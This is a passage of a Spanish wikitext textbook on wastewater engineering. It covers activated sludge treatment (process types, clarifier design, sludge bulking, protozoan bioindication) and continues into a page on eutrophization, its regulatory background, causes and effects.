El nivel de oxígeno disuelto suele medirse con sensores que dan información inmediata de las cantidades de oxígeno en cuba, a partir de esta información los sistemas de agitación y de aireación se ponen en marcha o se paran.

La agitación debe de estar bien controlada, para que el oxígeno y el alimento se distribuyan homogéneamente por toda la cuba.

‘’’Tiempo de retención: : ‘‘‘

Para que se pueda dar el proceso de oxidación biológica, es necesario que los microorganismos permanezcan un tiempo de contacto suficiente con las aguas residuales. Este tiempo de retención es uno de los parámetros que hay que tener en cuenta para diseñar las cubas, ya que en relación con el caudal a tratar y el tiempo que debe permanecer el caudal en la cuba, calcularemos el volumen de la misma.

‘’’Índice volumétrico de fangos: : ‘‘‘

Se define como el volumen en ml ocupado por un gramo de sólidos en suspensión del licor de mezcla, tras una sedimentación de 30 minutos en una probeta de 1000 ml. Por lo tanto, tomamos 1 litro de licor mezcla y lo ponemos a sedimentar durante 30 minutos, apuntamos el volumen que ocupa el fango y hacemos la relación:

IVF = mL sólidos sedimentables * 1000 / ppm de SSLM

Este valor nos da el comportamiento de los fangos en el decantador. Si el valor es menor de 100 implica fangos con desarrollo de organismos que sedimentan bien y por tanto buena separación sólido-líquido. Si el valor es superior, se han desarrollado organismos filamentosos con mala sedimentación, lo que nos lleva a una descompensación en el funcionamiento del sistema.

==4. ANÁLISIS Y REGISTRO DE DATOS==

Las lecturas de datos que se citan a continuación y su registro diario, pueden ayudar al personal que trabaja en la Planta a determinar cuales son las condiciones de control que optimizan el rendimiento de la Estación de Tratamiento, contrastando el funcionamiento de la misma con los datos registrados.

Estos datos también pueden servirnos como indicadores de diversos problemas así como de la causa de los mismos.

Es necesario hacer un registro de:

* Sólidos en suspensión totales y volátiles en:

** Efluente primario

** Licor de mezcla

** Recirculación de fangos

** Efluente de salida

* D.B.O., D.Q.O. o T.O.C. en:

** Efluente primario

** Efluente de salida

* Oxígeno disuelto: es fundamental la instalación de sensores en la cuba de aireación.

* Sólidos decantables en:

** Licor de mezcla

** Agua de salida

* Temperatura: lectura de sensores en la cuba de aireación.

* pH: lectura de sensores en la cuba de aireación o determinación “in situ”.

* Coliformes en:

** Entrada al biológico

** Salida del biológico

* Nitrógeno y Fósforo total en:

** Agua de entrada

** Agua de salida

También será necesario registrar los siguientes datos:

* Caudal de entrada

* Kilogramos de sólidos volátiles en cuba de aireación

* Kilogramos de D.Q.O. en la entrada al biológico

* Kilogramos de fangos en exceso evacuados

* Caudal de recirculación de fangos

* Caudal de purga

* Kilogramos de sólidos de fangos evacuados al digestor

* Coste energético

Pero el control de la instalación no solo consiste en la revisión constante y diaria de las condiciones de proceso, sino que también es preciso realizar un mantenimiento efectivo de los equipos, para que estos estén siempre en óptimas condiciones de operatividad.

Además de todo esto, la vista, el olfato y la propia experiencia, aportan datos suficientes como para reconocer los problemas, el posible origen de los mismos y la solución más eficaz.

==5. TIPOS DE PROCESOS DE FANGOS ACTIVADOS==

En función de los objetivos de calidad requeridos en el efluente, la depuración puede consistir en la eliminación de la materia orgánica carbonada, o también llevar asociada la reducción de la materia nitrogenada. 

Según el objetivo de la E.D.A.R., diseñaremos instalaciones encaminadas a la eliminación de materia orgánica o modificaciones asociadas a dichas instalaciones con el fin de eliminar nitrógeno.

De esta forma podemos distinguir distintos tipos de procesos, entre los que se encuentran los descritos a continuación.

===5.1. Procesos convencionales===

El proceso convencional tiene tres variantes fundamentales:

====5.1.1. Flujo pistón ====

Se lleva a cabo en una cuba de aireación rectangular, seguida de un decantador secundario. Tanto el agua residual como el fango recirculado desde el decantador, entran en la cuba por un extremo y son aireados por un período de 6 horas, tiempo en el que se produce la adsorción, floculación y oxidación de la materia orgánica. 

Se utiliza para aguas domésticas no muy concentradas. El proceso es susceptible a cargas de choque.

====5.1.2. Mezcla completa====

El contenido total del proceso se mezcla uniformemente. El agua residual de entrada al proceso y los fangos recirculados, se mezclan e introducen en diversos puntos del tanque de aireación a lo largo de un canal central.

De esta forma conseguimos que, tanto la demanda de oxígeno como la carga orgánica sean homogéneas de un extremo al otro de la cuba de aireación.

El proceso es usado en aplicaciones generales, siendo resistente frente a cargas de choque.

====5.1.3. Alimentación escalonada====

El agua residual se introduce en distintos puntos de la cuba de aireación y los fangos recirculados por un extremo. Conseguimos disminuir las demandas puntas de oxígeno, consiguiéndose mejores propiedades de adsorción de la materia orgánica a los flóculos, siendo eliminada por un período más corto.

Este proceso es de aplicación general.

===5.2. Aireación prolongada===

Este proceso requiere cargas no muy altas y tiempos de aireación prolongados.

Suele aplicarse a plantas pequeñas que tratan menos de 10000 habitantes.

Sus instalaciones prescinden de decantación primaria, pasando el agua desde el pretratamiento directamente a la cuba de aireación, y pasando después por el decantador secundario.

El proceso es flexible frente a variaciones de carga, siendo similar al que actualmente está funcionando en la E.D.A.R. de El Rompido.

===5.3. Canales de oxidación===

La oxidación biológica tiene lugar en un canal circular cerrado, provisto de aireadores superficiales horizontales (rotores que provocan la aireación y circulación de los fangos).

Cuando se diseñó este tipo de procesos, era discontinuo, funcionando el canal como reactor biológico y decantador alternativamente. Actualmente funciona de forma continua, estando el canal seguido de un clarificador.

Generalmente se diseña para tratar una baja carga, si bien funciona excelentemente a media carga y es flexible a las variaciones.

Debido a la geometría de los canales, podemos obtener zonas mas oxigenadas con nitrificación y zonas muy poco oxigenadas con desnitrificación, por lo que es un sistema bueno para eliminar materia orgánica y nitrógeno.

Existen diversas variantes de este tipo de sistemas, entre las que encontramos:

====5.3.1. Carrousel ====

En este sistema el tanque de aireación tiene configuración de canal, pero en lugar de rotores utiliza aireadores de eje vertical instalados frente al tanque divisorio, lo que permite interceptar el régimen de corrientes y utilizar la potencia aplicada en transferir oxígeno y conseguir un flujo continuó de fangos en el canal suficiente para evitar la sedimentación. 

Con esta variante, podemos conseguir profundidades del tanque de hasta 4 metros.

Si asociamos zonas del tanque con poco oxígeno y alta carga, conseguimos eliminar nitrógeno.

====5.3.2. Proceso orbal: ====

Este sistema consiste en una serie de canales concéntricos, en los que las cantidades de oxígeno suministrado varían de un canal a otro.

El agua pasa, inicialmente, al canal periférico y a través de pasos sumergidos, va circulando de un canal a otro para llegar finalmente a un decantador.

La característica principal del sistema orbal es el diferente grado de oxigenación que se mantiene en los distintos canales, típicamente operando en 0,1 y 2.0 ppm de oxígeno disuelto en el primer, segundo y tercer canal respectivamente.

El sistema es idóneo para procesos de nitrificación-desnitrificación, ya que el agua entra en el primer canal y el fango allí existente empieza a degradar la materia orgánica, empezando a desarrollarse bacterias desnitrificantes (zona de poco oxígeno), posteriormente el agua va pasando por los canales mas oxigenados donde va sufriendo procesos de oxidación biológica y nitrificación. El licor mezcla sé recircula del tercer al primer canal, permitiendo que los nitratos formados sean transformados en nitrógeno atmosférico por las bacterias desnitrificantes.

===5.4. Procesos de bioadsorción===

La bioadsorción es el fenómeno mediante el cual la materia orgánica se adhiere a la superficie de los flóculos y es degradada por las bacterias allí existentes.

Este fenómeno es mas acusado cuanto mejor funciona un fango activo y presenta flóculos muy bien formados.

Podemos distinguir dos tipos de procesos de fangos activos que aprovechan las propiedades bioadsorbentes de los flóculos.

====5.4.1. Contacto-estabilización====

La alimentación por agua residual del proceso biológico tiene lugar en dos etapas que se desarrollan en cubas separadas.

La primera es la fase de adsorción que se desarrolla en la primera cuba durante 20-60 minutos. En ella se adsorben en los flóculos una buena parte de la materia orgánica disuelta, suspendida y coloidal existente en el agua residual. A continuación el agua pasa a un clarificador y el fango decantado pasa a la segunda cuba de aireación donde se le da tiempo suficiente para que se produzca la oxidación de la materia orgánica por las bacterias.

Este tipo de proceso es muy flexible y se utiliza muchas veces como ampliación de plantas existentes.

====5.4.2. Proceso de doble etapa====

Consiste en realizar una depuración biológica en dos etapas, cada una de las cuales presenta reactor biológico y decantador secundario.

En la primera etapa se alimenta la primera cuba con cargas elevadas, con un corto período de oxigenación, lo que favorece el desarrollo de microorganismos resistentes a elevadas cargas y sustancias tóxicas favoreciéndose las propiedades adsorbentes de los flóculos.

En la segunda etapa, se establece una carga media o baja, con un alto contenido en oxígeno, funcionando de forma similar a los procesos convencionales, predominando la oxidación biológica.

Este sistema es interesante para aguas residuales con fuertes variaciones de carga, ph, componentes tóxicos e.t.c., es decir aguas residuales con fuerte componente industrial.

===5.5. Sistemas de oxígeno puro===

Son similares a los procesos convencionales solo que en lugar de aire utilizamos oxígeno puro. El oxígeno puro es mas caro, sin embargo, conseguimos las mismas cantidades de oxígeno en cuba con un menor consumo energético. El oxígeno puede ser recirculado.

El oxígeno puro suele utilizarse con diversas finalidades:

*Estaciones de fangos activos de funcionamiento continuo.

*Estaciones de fangos activos con carga variable, aplicándose solo el oxígeno en los momentos punta.

*Preoxigenación del agua residual, con fines de desodorización o en instalaciones clásicas para aumentar el contenido de oxígeno disuelto e incrementar los rendimientos de depuración.

==6. DESCRIPCIÓN DE LAS INSTALACIONES DE FANGOS ACTIVOS==

===6.1. Cuba de aireación===

Las cubas son, generalmente, abiertas y construidas de hormigón armado.

La configuración hidráulica debe garantizar que frente a las normales variaciones de caudal, la altura del licor de mezcla no variará en mas de 30 cm.

La guarda hidráulica debe de ser suficiente, para evitar las proyecciones de fangos y espumas.

El sistema de aireación puede ser por turbinas o por difusores, y se deben de tomar las precauciones necesarias para evitar los ruidos molestos producidos por los sistemas de aporte de aire.

Para plantas pequeñas, la regulación en la oxigenación, puede ser mediante arranque y parada de los equipos mediante temporizadores. Para plantas grandes, la regulación debe ser obligatoriamente en función del oxígeno disuelto del reactor biológico.

Resulta interesante disponer de un dispositivo de control de espumas, que puede consistir en boquillas pulverizadores montadas a lo largo del borde superior del tanque de aireación.

===6.2. Decantadores secundarios o clarificadores===

Existen tres tipos fundamentales:

====6.2.1. Decantadores circulares de rasquetas====

Son decantadores de forma circular con sistema de barrido de fangos radial.

Las rasquetas de barrido de fangos conviene que no formen una sola unidad y que sean fácilmente desmontables y extraíbles.

El sistema de arrastre de fangos se desplazará a la velocidad de 120 m/h (perimetral).

La pendiente de solera es del 4 al 10% y el calado de borde entre 2,5 y 3,5 m.

El decantador dispondrá de un sistema de recogida superficial de espumas y flotantes.

Se recomienda que existan paletas de espesamiento en el pozo central de recogida de los fangos.

====6.2.2. Decantadores rectangulares de rasquetas====

Presentan la ventaja de permitir una implantación mas compacta de todo el tratamiento biológico.

La profundidad suele estar comprendida entre 2,5 y 4 m., siendo la pendiente de solera aproximadamente del 1%.

La velocidad máxima de arrastre de fangos es de 60 m/h.

El pozo de recogida de fangos se diseña de forma que los fangos no estén retenidos mas de 5 horas (válido también para los decantadores circulares).

Los carros móviles deben tener fácil acceso y un sistema de paro frente a obstáculos.

Presentan sistemas de recogida de espumas y flotantes.

====6.2.3. Decantadores de succión====

Se instalan para decantadores con un diámetro superior a 35 m, recomendándose la recogida de fangos por succión y la evacuación de los fangos se hace mediante un sifón.

Al igual que los anteriores presenta un sistema de recogida de espumas y flotantes.

Todos los tipos de decantadores presentan bombas para la evacuación de fangos y para su recirculación a las cubas de aireación. Los sistemas de extracción de fangos son regulables y controlables mediante temporizadores programables.

==7. CAUSAS Y PROBLEMAS HABITUALES QUE AFECTAN EL RENDIMIENTO DEL PROCESO==

===7.1. Causas de aparición de problemas===

Los caudales y la composición de las aguas residuales varían a lo largo del día. El operador debe de intentar mantener el proceso en situación estable y debe de hacer frente a las variaciones de caudal y carga para conseguir un efluente de calidad.

Las variaciones que pueden afectar el funcionamiento de la instalación pueden tener dos orígenes: el sistema colector y la propia depuradora.

====7.1.1. Variaciones en el sistema colector====

Pueden ser debidas a:

* Sistemas de alcantarillado unitario: en épocas de lluvia, la estación depuradora recibe un caudal superior al habitual lo que plantea diversos problemas como son un menor tiempo de residencia del agua en las unidades de tratamiento, mayor arrastre de sólidos y aumento de la carga orgánica debido al arrastre de residuos acumulados en las alcantarillas.

* Usuarios del sistema: los vertidos de las industrias producen variaciones tanto en el caudal como en las características de las aguas residuales que llegan a la planta depuradora. Este punto se ha de controlar para poder tomar las medidas oportunas.

* Mantenimiento del sistema colector: conocer anticipadamente estas actividades nos puede ahorrar muchos problemas. Por ejemplo si se pone en funcionamiento una estación elevadora que lleva mucho tiempo sin funcionar, grandes volúmenes de aguas sépticas pueden producir cargas de choque en el tratamiento, ocurriendo lo mismo cuando se desatasquen tuberías o se conecten tuberías nuevas al sistema.

====7.1.2. Variaciones en el funcionamiento====

Para determinar si la estación depuradora está descargando un efluente de calidad, hay que revisar los análisis de laboratorio. Si no se logra la calidad deseada hay que determinar que factores han provocado la disminución del rendimiento del proceso. Dichos factores pueden ser:

* Afluente de mayor carga o de características difíciles de tratar.

* Concentración inadecuada de microorganismos en el aireador.

* Evacuación excesiva o insuficiente de fangos en exceso.

* Caudal de recirculación de fangos inadecuado.

* Excesivo tiempo de permanencia de fangos en el decantador.

* Disminución o exceso de oxígeno en la cuba de aireación.

* Falta de homogeneidad en la cuba por una agitación deficiente.

===7.2. Problemas habituales===

====7.2.1.Cambios en el caudal y características de las aguas residuales====

El operador deberá estar siempre alerta frente a la posibilidad de que se viertan tóxicos, a los vertidos accidentales y frente a las tormentas o cualquier otro factor que pueda causar una variación en el caudal del influente o en sus características.

Para compensar los excesos de sólidos y aumento de caudal en épocas de lluvia, reajuste los caudales de recirculación y purga de fangos para mantener la máxima concentración de fangos activos en la cuba de aireación.

Los cambios en las características de las aguas residuales por vertidos industriales pueden ser puntuales o estaciónales. Intente mantener buena relación con los gerentes de las fábricas y consiga que le comuniquen cualquier cambio que pueda ocasionar problemas. Intente convencerles de que descarguen los vertidos anormales poco a poco y no de una vez.

====7.2.2. Presencia en el digestor de fangos de un sobrenadante con excesiva carga de sólidos====

Los sobrenadantes de la digestión y el espesamiento de fangos son enviados al tratamiento primario. Esta recirculación de sobrenadantes debe ser lenta y realizarse durante períodos de baja carga.

Normalmente los sólidos que salen del digestor de fangos, presentan una elevada demanda de oxígeno inmediata y contienen gran cantidad de sólidos coloidales y disueltos de bajo contenido volátil. Si estos sólidos pasan a la cuba de aireación, se produce en la cuba una demanda de oxígeno superior a la habitual, por lo que es necesario regular la aireación. Además se han de regular los caudales de purga y recirculación con mucho cuidado, ya que la concentración en sólidos inertes (no biológicos) aumenta y si purgamos excesivamente podemos lavar de microorganismos el reactor biológico.  

En este caso, se deben mantener los sólidos en el digestor de fangos más tiempo y aumentar la concentración de sólidos en los fangos enviados al digestor.

====7.2.3. Subida de fangos por gasificación====

No se debe confundir la gasificación con el problema de formación de fangos esponjosos o de espumas. En la gasificación, los fangos se sedimentan y compactan de forma satisfactoria en el fondo del decantador, pero luego suben hasta la superficie en forma de pequeñas partículas, siendo lavados con el efluente. Esto suele ir acompañado de una fina espuma, que aparece en la superficie del decantador.

Los fangos suben porque se producen gases en ellos que tienden a elevarlos a la superficie. La gasificación puede deberse a varios fenómenos, como son la formación de nitrógeno atmosférico y otros tipos de gases. Suele ser debido a un excesivo tiempo de retención de los fangos en el decantador secundario, agotándose el oxígeno que llevan y propiciándose el desarrollo de bacterias que producen los gases anteriormente mencionados. Por ello, los decantadores deben de estar provistos de deflectores y recogedores de flotantes, evitando que los fangos ascendentes se incorporen a la línea de aguas.

====7.2.4. Esponjamiento de los fangos====

Esponjamiento es el término que se aplica cuando los fangos biológicos muestran una velocidad de sedimentación muy lenta. Esto hace que en decantador secundario no de tiempo para que se produzca la separación sólido-líquido. El manto de fangos en el clarificador se hace mayor y asciende hasta pasar sobre los vertederos, saliendo con el efluente.

Se considera que existen distintos factores que favorecen el esponjamiento de los fangos. Entre ellos una descompensación alimento y cantidad de organismos, un exceso o defecto de oxígeno disuelto en la cuba, pH bajos, una relación poco equilibrada de nutrientes etc.

Es necesario por tanto, que la cuba de aireación tenga condiciones de funcionamiento equilibradas, siendo necesario vigilar para evitar este tipo de problemas:

‘’’La edad del fango: ‘‘‘

ya que fangos demasiado jóvenes favorecen el esponjamiento. Vigile los sólidos que llegan al tanque y regule cuidadosamente el caudal de evacuación de fangos.

‘’’Nivel de oxígeno disuelto: ‘‘‘

evite que se produzcan niveles demasiado bajos o altos de oxígeno en la cuba, ya que esto favorecería el desarrollo de microorganismos filamentosos que tienden a flotar.

‘’’Tiempo de aireación: ‘‘‘

el esponjamiento por un período de aireación excesivamente corto, suele ser consecuencia de un defecto en el proyecto de la planta, a no ser que en ésta se haya adquirido la costumbre de mantener un volumen excesivo de recirculación de fangos. Si es así, se reduce el caudal de recirculación y se aumenta la purga de fangos, hasta estabilizar el proceso.

‘’’Presencia de organismos filamentosos: ‘‘‘

los organismos filamentosos presentan graves problemas, pues aparecen mucho mas rápidamente de lo que desaparecen. Tienden a flotar descompensando totalmente el funcionamiento de los fangos en el decantador secundario. Suelen desarrollarse masivamente cuando existe una descompensación en la relación carga de la cuba / oxígeno disuelto en ella. Dependiendo de que la descompensación vaya en un sentido u otro, se desarrollarán organismos diferentes que se manifiestan en fenómenos distintos que reciben diferentes nombres (espumas y bulking).

‘’’otros: ‘‘‘

Existen otro tipo de factores que estimulan también el desarrollo masivo de estos organismos como son: la calidad del agua residual a tratar, la presencia de putrefacción en el agua, bajas cantidades de fósforo, etc.

Es necesario, por tanto, un buen mantenimiento de las condiciones funcionales de la planta para evitar el esponjamiento de los fangos y si este sucede, hay que actuar rápidamente, aumentando la densidad de estos fangos. Este aumento de densidad se puede conseguir bien variando las condiciones del proceso (caudales de purga y recirculación, niveles de oxígeno disuelto, carga de alimentación), bien incrementando los sólidos inertes en la cuba de aireación o añadiendo sustancias como son los floculantes químicos, arcillas o bentonitas.

==8. INTRODUCCIÓN A LA BIOINDICACION COMO PARÁMETRO DE MANTENIMIENTO==

Podemos definir la bioindicación como un método de trabajo en el cual, a través de la observación microscópica de un fango activo podemos saber como está funcionando el proceso y como modificar sus condiciones funcionales para obtener un óptimo rendimiento de él.

Los organismos que vamos a utilizar como indicadores del buen o mal funcionamiento del proceso son los conocidos como protozoos. 

Los protozoos son organismos unicelulares muy especializados. La variedad morfológica de este grupo de organismos es muy amplia. Presentan un importante papel en los sistemas de depuración. Este importante papel se fundamenta en tres razones principales:

* Algunos de ellos, al igual que las bacterias, consumen materia orgánica del agua residual.

* Excretan determinado tipo de sustancias que favorecen la formación de flóculos.

* La tercera y más importante, son los principales consumidores de las poblaciones bacterianas de los sistemas acuáticos. Siendo las bacterias los principales organismos descomponedores de la materia orgánica del medio, los protozoos con su consumo bacteriano ejercen un importante papel regulador sobre estas poblaciones, consiguiendo un óptimo rendimiento de la tasa de consumo de materia orgánica por parte de las bacterias.

Por todo lo anteriormente expuesto, es interesante el desarrollo en nuestra cuba de aireación de protozoos. En este sentido, existen estimas donde se observa que en las cubas de aireación con poblaciones de este grupo de organismos bien desarrolladas, los rendimientos en depuración de materia orgánica y en disminución de patógenos y fecales eran superiores a en las cubas donde no habitaban.

Por otro lado, las comunidades de diversos protozoos van cambiando a medida que varían diferentes variables del funcionamiento de las cubas de aireación. De esta forma, existen comunidades características de fangos de diferente edad, así como en fangos con cualidades diferentes en cuanto a nitrificación, rendimiento de depuración, etc.

A su vez, existen grupos de protozoos que toleran rangos muy estrechos de las condiciones ambientales en que viven, por ejemplo: niveles de oxígeno, presencia de tóxicos, etc. Por lo que su presencia nos indica determinadas condiciones del medio.

Por todo lo anteriormente expuesto, podemos concluir que a través de la observación microscópica de las poblaciones de protozoos que habitan en la cuba de aireación, así como del número de organismos diferentes de este grupo que aparecen en un momento dado, podemos obtener un índice de calidad biológica del fango.

Si además tenemos conocimientos de sus características de vida, podemos prever situaciones que no son detectables mediante técnicas analíticas convencionales y que nos dan la capacidad de actuar anticipadamente a la aparición de graves problemas que nos descompensen el funcionamiento de la planta depuradora.

Podemos considerar los protozoos y la bioindicación como un parámetro de gran interés en el mantenimiento de los procesos de depuración biológica aerobia, como son los fangos activos y el lagunaje. 

La utilización de este parámetro se basa en el conocimiento y la experiencia del personal que lo utiliza, permite una gran rapidez de respuesta y requiere muy poco gasto.


{{navegar
 |libro=Ingeniería de aguas residuales
 |reducido=Si
 |anterior=Tratamiento primario
 |actual=Procesos biológicos aerobios
 |siguiente=Eutrofización
}}

{{AutoCat}}</text>
      <sha1>385q78xoy4v8da7ai7paufk0yu0o6og</sha1>
    </revision>
  </page>
  <page>
    <title>Ingeniería de aguas residuales/Eutrofización</title>
    <ns>0</ns>
    <id>12672</id>
    <revision>
      <id>429966</id>
      <parentid>280110</parentid>
      <timestamp>2026-08-02T09:29:33Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429966</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="12727" sha1="tqdgz1vk3rnl1jkys710r6ze3mtsj0b" xml:space="preserve">==1. INTRODUCCIÓN==

La elevada contaminación que las masas de agua están sufriendo, en especial las continentales, ha puesto en alerta tanto a la comunidad científica como al resto de la sociedad. Sobre todo ahora que este elemento, esencial para la vida, es cada vez más escaso, principalmente en algunas regiones como la nuestra. Esto ha hecho que términos como eutrofización sean actualmente muy frecuentes en los medios de comunicación. 

De forma intuitiva  puede definir el proceso de la eutrofización como el enriquecimiento de nutrientes de las aguas superficiales. Podría parecer que este hecho es bueno para el desarrollo de los seres vivos, sin embargo puede constituir un problema. Si existe exceso de nutrientes crecen en abundancia las plantas y otros organismos. Al agotarse los nutrientes mueren constituyendo un aporte de materia orgánica que debe ser oxidada por lo que se produce una disminución drástica del contenido de oxígeno en el agua. De esta forma, la masa de agua pierde su calidad y las aguas dejan de ser aptas para la vida, y en general, para el uso al que estaban predeterminadas. 

La Directiva 91/271/CEE, de 21 de mayo, sobre tratamiento de aguas residuales urbanas, transpuesta a la legislación estatal mediante el Real Decreto-Ley 11/1995, de 28 de diciembre, y por el Real Decreto 509/1996, de 15 de marzo, viene a completar la protección que proporcionan las citadas leyes, estableciendo distintos niveles de depuración de las aguas residuales urbanas, con carácter previo a su evacuación, en función de la carga contaminante del vertido y de la zona afectada por el mismo. 

Asimismo, se establece por la citada Directiva la obligación de los Estados miembros de determinar las zonas sensibles, atendiendo a criterios de eutrofización actual o potencial, capacidad de absorción del medio y usos posteriores de las aguas. 

En el presente Decreto se establece una gradual clasificación de las zonas: sensibles, normales y menos sensibles, que implican ese orden, un mayor a menor grado de depuración exigible. 

Según se recoge en el Artículo Nº7 sobre la declaración de zonas sensibles y menos sensibles: 

{{cita|“Zonas sensibles
Se considerará que un medio acuático es zona sensible si puede incluirse en uno de los siguientes grupos:

a.	Lagos, lagunas, embalses, estuarios y aguas marítimas que sean eutróficos o que podrían llegar a ser eutróficos en un futuro próximo si no se adoptan medidas de protección.

(Se entenderá por eutrofización: el aumento de nutrientes en el agua, especialmente de los compuestos de nitrógeno o de fósforo, que provoca un crecimiento acelerado de algas y especies vegetales superiores, con el resultado de trastornos no deseados en el equilibrio entre organismos presentes en el agua y en la calidad del agua a la que afecta).

b.	Aguas continentales superficiales destinadas a la obtención de agua potable que podrían contener una concentración de nitratos superior a la que establecen las disposiciones pertinentes del Real Decreto 927/1988, de 29 de julio, por el que se aprueba el Reglamento de la Administración Pública del Agua y de la Planificación Hidrológica.

Masas de agua en las que sea necesario un tratamiento adicional al tratamiento secundario establecido en el  artículo 5 del Real Decreto-ley y en este Real Decreto para cumplir lo establecido en la normativa comunitaria.

II. Zonas menos sensibles

Un medio o zona de agua marina podrá catalogarse como zona menos sensible cuando el vertido de aguas residuales no tenga efectos negativos sobre el medio ambiente debido a la morfología, hidrología o condiciones hidráulicas específicas existentes en esta zona.

Al determinar las zonas menos sensibles, se tomará en consideración el riesgo de que la carga vertida pueda desplazarse a zonas adyacentes y ser perjudicial para el medio ambiente.

Para determinar las zonas menos sensibles se tendrán en cuenta los siguientes elementos:

Bahías abiertas, estuarios y otras aguas marítimas con un intercambio de agua bueno y que no tengan eutrofización o agotamiento del oxígeno, o en las que se considere que es improbable que lleguen a desarrollarse fenómenos de eutrofización o de agotamiento del oxígeno por el vertido de aguas residuales urbanas.”

}}

Con carácter general, las aguas residuales que viertan a una zona declarada como menos sensible serán objeto de, al menos, un tratamiento primario. Aquéllas que viertan a zonas declaradas normales estarán sometidas a un tratamiento secundario o proceso equivalente y como, por último, las que vierten a zonas sensibles deberán someterse a un tratamiento adicional de eliminación de nutrientes.

==2. DESCRIPCIÓN DEL PROCESO DE EUTROFIZACIÓN==

La causa de la eutrofización es siempre una aportación de elementos nutritivos de muy diversa procedencia (residuos urbanos, industriales, agrícolas,…). De estos nutrientes, los más efectivos son aquellos para los que existe una limitación natural, principalmente, el nitrógeno y el fósforo. El primer elemento puede ser extraído de la atmósfera por determinados microorganismos quedando en último término el fósforo como principal elemento limitante del proceso. 

Por norma general, suele encontrarse en las masas de agua unas proporciones estables entre los nutrientes. De esta manera,  suele aceptarse que la relación entre el carbono, el nitrógeno y el fósforo en estos sistemas cumple estas proporciones:

100:15:1 (C:N:P). Esto quiere decir, que por cada unidad de fósforo en las masas de agua, existen quince unidades de nitrógeno disponibles, y son cien las unidades de carbono que están presentes en el medio. De este razonamiento encontramos que el fósforo se constituye como el elemento limitante en los procesos de producción primaria. Cuando se agota todo el fósforo de la masa de agua, los demás elementos se encuentran en exceso. Todo nuevo aporte de fósforo al medio va a permitir un nuevo crecimiento vegetal. 

En los últimos años las concentraciones de nitrógeno y fósforo en muchos lagos y mares casi se han duplicado. La mayor parte les llega por los ríos. En el caso del nitrógeno, una elevada proporción (alrededor del 30%) llega a través de la contaminación atmosférica. El nitrógeno es más móvil que el fósforo y puede ser lavado a través del suelo o saltar al aire por evaporación del amoníaco o desnitrificación. El fósforo es absorbido con más facilidad por las partículas del suelo y es arrastrado por la erosión o disuelto por las aguas de escorrentía superficiales. 

Cuando el aporte de fósforo es alarmante se produce la acumulación de este elemento dentro de las algas que lo utilizarán posteriormente para multiplicarse, produciéndose una proliferación vegetal excesiva. Este efecto condiciona, además, que el fósforo deje de ser el factor limitante pasando a serlo el nitrógeno, lo que provoca la aparición de algas cianofíceas en superficie capaces de fijar dicho elemento a partir del aire atmosférico. 

Cuando se da la proliferación de algas, llega un momento en el que el sistema se colapsa y no quedan nutrientes disponibles para que las algas sigan desarrollándose. A este hecho hay que unir la proliferación en superficie de las cianofíceas, creando una capa superficial que impide la penetración natural de luz y el intercambio de oxígeno con la atmósfera.  De esta forma, estos organismos no pueden seguir viviendo y mueren. 

El agua se vuelve turbia y verdosa, y aparecen bacterias aerobias que consumen el oxígeno de las aguas para oxidar la materia orgánica, la materia vegetal. Esto conlleva una disminución alarmante de los niveles de oxígeno disuelto en el sistema acuático y por lo tanto, la muerte de otros seres vivos, como los peces, por asfixia.  Se llega, por tanto, a condiciones anaerobias y se desarrollan procesos fermentativos de los cuales se origina SH2 (sulfhídrico) y NH3 (amoníaco), responsables de mal olor en estos sistemas acuáticos.

==3. EFECTOS QUE PRODUCE LA EUTROFIZACIÓN==

Los principales efectos que pueden evidenciarse en las masas de agua que se ven afectadas por el fenómeno de la eutrofización son:

Aumento de la producción y biomasa de los productores primarios (fitoplancton y macrófitas).

Modificación de las características de la masa de agua conllevando una pérdida de calidad de la misma, al no poderse destinar para el uso normal al que estaba destinada (véase el caso de los pantanos de agua prepotable). 

Sustitución de especies piscícolas deseables por otras menos cotizadas.

Producción de toxinas por determinadas algas (dinoflagelados-mareas rojas).

Desoxigenación del agua, ocasionando normalmente mortandad de peces. 

Aumento de los gastos de operación de los sistemas públicos de abastecimiento de agua por problemas de sabor y olor.

Colmatación y obstrucción de los canales de riego por las malas hierbas acuáticas.

Reducción de la posibilidad de utilización del agua para fines recreativos debido a los olores producidos por la descomposición de las algas. 

Impedimentos a la navegación debido al crecimiento de densas masas de algas. 

Pérdidas económicas debida a la modificación de las especies piscícolas. 

==4. FACTORES Y PROCESOS QUE AFECTAN EL GRADO DE EUTROFIZACIÓN:==

===4.1 Relacionados con la masa de agua.===

Clima (temperaturas, viento, precipitaciones, disponibilidad de energía solar,…). Afecta la temperatura anual del agua, la dirección y velocidad del viento, cantidad de precipitaciones y estructura térmica de la masa de agua. La disponibilidad de energía solar es muy importante para controlar la producción del fitoplancton durante la estación de crecimiento. 

Hidrología (transporte de nutrientes por erosión del suelo). Generalmente, a una mayor cantidad de precipitaciones, se transporta mayores cantidades de agua y nutrientes a la masa de agua durante el ciclo anual. La duración de estas precipitaciones es un factor importante por su relación con las entradas de nutrientes por erosión del suelo. 	

Morfología de la cuenca (profundidad). La profundidad  media tanto del total de la masa de agua como del fondo pueden afectar sustancialmente los impactos de un aumento en la carga de nutrientes al lago o pantano. 

Fuentes propias de nutrientes (sedimentos como sumidero de nutrientes). El papel de los sedimentos del fondo puede ser de gran interés para el estado trófico de una masa de agua. En los lagos pobres en nutrientes parte de estos nutrientes importados son retenidos en los sedimentos que actúan de sumidero de éstos. Aquellos lagos con sobrecarga en los que los sedimentos se han enriquecido con fósforo a lo largo del tiempo, la liberación de este elemento en dichos sedimentos puede superar el flujo hacia los mismos durante el período estival especialmente se el fondo se vuelve anóxico, provocándose una proliferación masiva de algas,  sin necesidad de un aporte externo de nutrientes. 

===4.2 Factores antropogénicos:===

Vertidos urbanos e industriales. Los vertidos de aguas residuales suelen caracterizarse por su contenido en formas de nitrógeno (nitratos, nitritos y amonio) y fosfatos (principalmente, procedentes de restos de detergentes). Estos, pueden constituir la mayor fuente de carga de nutrientes en la masa de agua, favoreciendo el afloramiento masivo de fitoplancton. 

Vertidos de origen agrícola y ganadero. Las diferencias en los patrones de utilización de la tierra y del uso de fertilizantes de una cuenca de drenaje puede ocasionar diferencias importantes en la composición química de las aguas de la escorrentía de cada área. La contribución exacta de la agricultura y la ganadería  a la eutrofización del agua superficial y a la contaminación de las aguas subterráneas es difícil de cuantificar (contaminación difusa). El agua subterránea se contamina fundamentalmente como consecuencia de la lixiviación, sobre todo por nitrato. 

